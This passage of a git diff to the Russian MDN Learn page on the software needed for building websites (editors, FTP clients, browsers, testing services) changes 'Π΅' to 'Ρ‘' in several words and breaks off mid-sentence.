-<p>БущСствуСт Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ сСрвСров ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ‡Ρ‚ΠΎ довольно Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½. НСкоторыС сСрвСры ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π·Π°Ρ‚ΠΎΡ‡Π΅Π½Ρ‹ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Π²Π΅Π±-сайтов, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π±Π»ΠΎΠ³ΠΈ, Π²ΠΈΠΊΠΈ-страницы ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½Ρ‹; Π΄Ρ€ΡƒΠ³ΠΈΠ΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅Β {{Glossary("CMS", "CMSs")}} (систСмы управлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ), Π±ΠΎΠ»Π΅Π΅ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹. Если Π²Ρ‹ создаСтС динамичСский сайт, ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° Π²Ρ‹Π±ΠΎΡ€ инструмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт вашим потрСбностям. Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ (хотя ΡΡ‚ΠΎΒ ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ само ΠΏΠΎ сСбС!), Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свой собствСнный сСрвСр прилоТСния. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½ΠΈΠ΅ΠΌ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΠ³ΠΎ вСлосипСда.</p>
+<p>БущСствуСт Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ сСрвСров ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Ρ‡Ρ‚ΠΎ довольно Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½. НСкоторыС сСрвСры ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π·Π°Ρ‚ΠΎΡ‡Π΅Π½Ρ‹ ΠΏΠΎΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ Π²Π΅Π±-сайтов, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Π±Π»ΠΎΠ³ΠΈ, Π²ΠΈΠΊΠΈ-страницы ΠΈΠ»ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-ΠΌΠ°Π³Π°Π·ΠΈΠ½Ρ‹; Π΄Ρ€ΡƒΠ³ΠΈΠ΅, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅Β {{Glossary("CMS", "CMSs")}} (систСмы управлСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ΠΎΠΌ), Π±ΠΎΠ»Π΅Π΅ ΡƒΠ½ΠΈΠ²Π΅Ρ€ΡΠ°Π»ΡŒΠ½Ρ‹. Если Π²Ρ‹ создаётС динамичСский сайт, ΠΏΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π½Π° Π²Ρ‹Π±ΠΎΡ€ инструмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ соотвСтствуСт вашим потрСбностям. Если Π²Ρ‹ Π½Π΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ Π²Π΅Π±-ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ (хотя ΡΡ‚ΠΎΒ ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ само ΠΏΠΎ сСбС!), Ρ‚ΠΎ Π²Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ свой собствСнный сСрвСр прилоТСния. Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΎΠ±Ρ€Π΅Ρ‚Π΅Π½ΠΈΠ΅ΠΌ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΠ³ΠΎ вСлосипСда.</p>
<h2 id="Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅_шаги">Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ шаги</h2>
diff --git a/files/ru/learn/common_questions/what_software_do_i_need/index.html b/files/ru/learn/common_questions/what_software_do_i_need/index.html
index bb0e3e1b5e..9dcefce216 100644
--- a/files/ru/learn/common_questions/what_software_do_i_need/index.html
+++ b/files/ru/learn/common_questions/what_software_do_i_need/index.html
@@ -34,7 +34,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΈ_Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_Π²Π΅Π±-страниц">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΈ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π²Π΅Π±-страниц</h3>
-<p>Для создания ΠΈ рСдактирования Π²Π΅Π±-страниц Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€. ВСстовыС Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Π½Π΅ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ тСкстовыС Ρ„Π°ΠΉΠ»Ρ‹. (Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <strong>{{Glossary("RTF")}}</strong>, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΠΆΠΈΡ€Π½ΠΎΠ΅ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅. Π­Ρ‚ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Π½Π΅ подходят для написания Π²Π΅Π±-страниц.) Π’Π°ΠΌ слСдуСт Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ с ΡƒΠΌΠΎΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌ, ΠΏΡ€ΠΈ создании Π²Π΅Π±-сайта.</p>
+<p>Для создания ΠΈ рСдактирования Π²Π΅Π±-страниц Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€. ВСстовыС Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ ΡΠΎΠ·Π΄Π°ΡŽΡ‚ ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Π½Π΅ΠΎΡ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ тСкстовыС Ρ„Π°ΠΉΠ»Ρ‹. (Π”Ρ€ΡƒΠ³ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊΒ <strong>{{Glossary("RTF")}}</strong>, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΠΆΠΈΡ€Π½ΠΎΠ΅ ΠΈΠ»ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΠ΅. Π­Ρ‚ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Π½Π΅ подходят для написания Π²Π΅Π±-страниц.) Π’Π°ΠΌ слСдуСт Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ тСкстовый Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ с ΡƒΠΌΠΎΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с Π½ΠΈΠΌ, ΠΏΡ€ΠΈ создании Π²Π΅Π±-сайта.</p>
<p>ВсС Π½Π°ΡΡ‚ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ систСмы ΠΏΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ с основным тСкстовым Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠΌ. Они просты, Π½ΠΎ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй для кодирования Π²Π΅Π±-страниц. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ интСрСсноС, Ρ‚ΠΎ доступно ΠΌΠ½ΠΎΠ³ΠΎ сторонних инструмСнтов. Π‘Ρ‚ΠΎΡ€ΠΎΠ½Π½ΠΈΠ΅ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Ρ‹ часто ΠΏΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ с Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ функциями, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ подсвСтку синтаксиса, Π°Π²Ρ‚ΠΎΠ·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅, сворачиваСмыС Π±Π»ΠΎΠΊΠΈ ΠΊΠΎΠ΄Π° ΠΈ поиск ΠΊΠΎΠ΄Π°. Π’ΠΎΡ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ²:</p>
@@ -97,7 +97,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need
<h3 id="Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_Ρ„Π°ΠΉΠ»ΠΎΠ²_Π²_Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅">Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»ΠΎΠ² Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅</h3>
-<p>Когда ваш сайт Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎ просмотра, Π²Π°ΠΌ придСтся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ свои Π²Π΅Π±-страницы Π½Π° Π²Π΅Π±-сСрвСр. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΡƒΠΏΠΈΡ‚ΡŒ мСсто Π½Π° сСрвСрС Ρƒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² (см. <a href="/en-US/docs/Learn/How_much_does_it_cost">Бколько стоит Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅?</a>). ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚Π΅, ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ Π²Π°ΠΌ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступС ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ FTP (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²).Β Β Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° Π²Π΅Π±-сСрвСр являСтся Π²Π°ΠΆΠ½Ρ‹ΠΌ шагом ΠΏΡ€ΠΈ создании сайта, поэтому ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ расскаТСм ΠΎΠ± этом <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>. А сСйчас, Π²ΠΎΡ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список бСсплатных Π±Π°Π·ΠΎΠ²Ρ‹Ρ…Β FTP-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ²:</p>
+<p>Когда ваш сайт Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ‚ΠΎΠ² для ΠΏΡƒΠ±Π»ΠΈΡ‡Π½ΠΎΠ³ΠΎ просмотра, Π²Π°ΠΌ придётся Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ свои Π²Π΅Π±-страницы Π½Π° Π²Π΅Π±-сСрвСр. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΊΡƒΠΏΠΈΡ‚ΡŒ мСсто Π½Π° сСрвСрС Ρƒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ² (см. <a href="/en-US/docs/Learn/How_much_does_it_cost">Бколько стоит Π΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅?</a>). ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚Π΅, ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ, ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ Π²Π°ΠΌ ΠΏΠΎ элСктронной ΠΏΠΎΡ‡Ρ‚Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ доступС ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρƒ FTP (ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²).Β Β Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° Π²Π΅Π±-сСрвСр являСтся Π²Π°ΠΆΠ½Ρ‹ΠΌ шагом ΠΏΡ€ΠΈ создании сайта, поэтому ΠΌΡ‹ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ расскаТСм ΠΎΠ± этом <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅</a>. А сСйчас, Π²ΠΎΡ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ список бСсплатных Π±Π°Π·ΠΎΠ²Ρ‹Ρ…Β FTP-ΠΊΠ»ΠΈΠ΅Π½Ρ‚ΠΎΠ²:</p>
<table class="standard-table">
<thead>
@@ -139,11 +139,11 @@ translation_of: Learn/Common_questions/What_software_do_I_need
<li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li>
</ul>
-<p>Если Π²Ρ‹ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ΡΡŒ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π΅Ρ…Π½ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ ΠΈΠ»ΠΈ страну), Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придСтся ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <a href="http://www.opera.com/" rel="external">Opera</a>,Β <a href="http://www.konqueror.org/">Konqueror</a>, ΠΈΠ»ΠΈ<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p>
+<p>Если Π²Ρ‹ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ΡΡŒ Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π³Ρ€ΡƒΠΏΠΏΡƒ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‚Π΅Ρ…Π½ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡƒ ΠΈΠ»ΠΈ страну), Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придётся ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊΒ <a href="http://www.opera.com/" rel="external">Opera</a>,Β <a href="http://www.konqueror.org/">Konqueror</a>, ΠΈΠ»ΠΈ<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p>
-<p>Но тСстированиС услоТняСтся, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах. Apple Safari Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° iOS ΠΈ Mac OS, Π° Internet Explorer Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Windows. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π»ΡƒΡ‡ΡˆΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΈΠΌΠΈ сСрвисами, ΠΊΠ°ΠΊΒ <a href="http://browsershots.org/" rel="external">Browsershots</a>Β ΠΈΠ»ΠΈΒ <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots прСдоставляСт ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹ вашСго сайта, Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ваш сайт Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….Β Browserstack фактичСски прСдоставляСт вам ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ доступ ΠΊ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ машинам, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт Π² Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных срСдах. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ свою ΡΠΎΠ±ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ, Π½ΠΎ это Ρ‚Ρ€Π΅Π±ΡƒΠ΅Ρ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠΏΡ‹Ρ‚Π°. (Если Π²Ρ‹ слСдуСтС этому ΠΏΡƒΡ‚ΠΈ, Microsoft ΠΈΠΌΠ΅Π΅Ρ‚ инструмСнты для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π³ΠΎΡ‚ΠΎΠ²ΡƒΡŽ ΠΊ использованию Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½ΡƒΡŽ ΠΌΠ°ΡˆΠΈΠ½Ρƒ Π½Π°Β <a href="https://modern.ie" rel="external">modern.ie</a>.)</p>
+<p>Но тСстированиС услоТняСтся, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах. Apple Safari Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π½Π° iOS ΠΈ Mac OS, Π° Internet Explorer Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Windows. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π»ΡƒΡ‡ΡˆΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊΠΈΠΌΠΈ сСрвисами, ΠΊΠ°ΠΊΒ <a href="http://browsershots.org/" rel="external">Browsershots</a>Β ΠΈΠ»ΠΈΒ <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots прСдоставляСт ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹ вашСго сайта, Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ ваш сайт Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π² Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ….Β Browserstack фактичСски прСдоставляСт вам ΠΏΠΎΠ»Π½Ρ‹ΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ доступ ΠΊ Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹ΠΌ машинам, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΡ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ваш сайт Π² Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых срСдах. ΠšΡ€ΠΎΠΌΠ΅ 